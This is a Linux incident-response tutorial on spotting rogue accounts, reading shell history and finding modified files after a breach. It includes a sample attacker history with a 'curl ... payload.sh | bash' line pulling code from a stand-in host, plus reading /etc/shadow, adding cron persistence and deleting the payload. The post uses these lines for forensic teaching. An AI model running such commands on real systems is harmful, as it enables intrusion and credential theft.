Linux Forensics: Finding Attacker Traces After a Breach

In the 2024 TeamCity CVE-2024-27198 exploits, attackers dropped webshells and created backdoor accounts within minutes of initial access. By the time defenders noticed unusual traffic, the threat actor had already established persistence. Knowing exactly where to look on a Linux system can cut your response time from hours to minutes.

This post walks through two high-value forensic checks you can run immediately after suspecting a breach: hunting for rogue accounts and digging into shell history and recently modified files.

Step 1: Hunt for Rogue and Elevated Accounts

Attackers almost always want to survive a password reset. Their first move after gaining access is often creating a new user or adding an existing one to the sudo group. Start here.

# Check for users with UID 0 (root-level access)
awk -F: '($3 == 0) { print $1 }' /etc/passwd

# Check who is in the sudo group
getent group sudo

# List accounts created in the last 7 days by checking passwd change timestamps
awk -F: '{print $1}' /etc/passwd | xargs -I{} chage -l {} 2>/dev/null | grep -A1 "Last password change"

On a clean server named prod-web-01.example.com, you expect to see only root with UID 0. If you see something like this:

root
sysbackup

That sysbackup account is a red flag. Attackers love service-sounding names — they blend in with legitimate system accounts. Cross-reference it against your configuration management baseline. If it was not provisioned by Ansible, Puppet, or your team, it should not exist.

Next, pull the account’s creation and login history:

last sysbackup
lastlog -u sysbackup

If sysbackup logged in from 192.0.2.47 at 03:14 AM and your legitimate sysadmin team is in one timezone, you now have an IOC — an indicator of compromise. Block that IP, lock the account, and preserve /var/log/auth.log before touching anything else.

Step 2: Recover Shell History and Recently Modified Files

Shell history is often the fastest way to reconstruct what an attacker actually did. Most attackers forget — or don’t bother — to clear it. Even when they do, filesystem timestamps tell the rest of the story.

# Read bash history for all users with home directories
for user in $(cut -d: -f1 /etc/passwd); do
  homedir=$(getent passwd "$user" | cut -d: -f6)
  histfile="$homedir/.bash_history"
  if [ -f "$histfile" ]; then
    echo "=== $user ==="
    cat "$histfile"
  fi
done

On prod-web-01, the sysbackup user’s history might look like this:

=== sysbackup ===
whoami
id
cat /etc/shadow
curl http://192.0.2.112:8080/payload.sh | bash
crontab -e
rm -rf /tmp/payload.sh

That single curl | bash line tells you everything. The attacker pulled a second-stage payload from 192.0.2.112:8080, executed it in memory, and then tried to clean up. The crontab -e call means persistence was likely established — check it immediately.

crontab -l -u sysbackup

If it returns a scheduled job calling back to an external IP or executing something in /tmp, you have confirmed persistence. Kill the cron job, but do not delete it — document it first as evidence.

Finding Recently Modified Files

Shell history can be cleared. File modification timestamps are harder to fake without root access and specific tools. Use find to surface anything changed in the last 48 hours outside of expected paths.

find / -not -path "/proc/*" -not -path "/sys/*" \
  -mmin -2880 -type f -ls 2>/dev/null \
  | sort -k8,9

Look for files modified in /etc, /usr/bin, /lib, or any web root like /var/www/html. A webshell dropped in /var/www/html/uploads/img_cache.php will appear here. Compare suspicious files against known-good hashes from your package manager:

debsums -c 2>/dev/null | head -20   # Debian/Ubuntu
rpm -Va 2>/dev/null | grep "^..5"   # RHEL/CentOS

The 5 flag in rpm -Va output means the MD5 checksum has changed. A modified /usr/bin/ssh or /bin/ps is a strong indicator of a rootkit replacing system binaries.

Preserve First, Investigate Second

Before you run remediation steps, snapshot what you have. Memory forensics tools like LiME can capture a running memory image. At minimum, copy critical logs off the box to a trusted location before an attacker’s cleanup cron job fires again.

tar czf /mnt/forensics/prod-web-01-logs-$(date +%F).tar.gz \
  /var/log/auth.log \
  /var/log/syslog \
  /var/log/nginx/ \
  /home/sysbackup/.bash_history \
  /var/spool/cron/crontabs/

Ship that archive to an air-gapped or read-only storage target immediately. Once logs are safe, you can investigate without fear of destroying evidence.

What To Do Now

Pick one production Linux host right now and run awk -F: '($3 == 0) { print $1 }' /etc/passwd. If you see anything besides root, open an incident ticket before you do anything else. It takes thirty seconds and has caught real intrusions that sat undetected for weeks.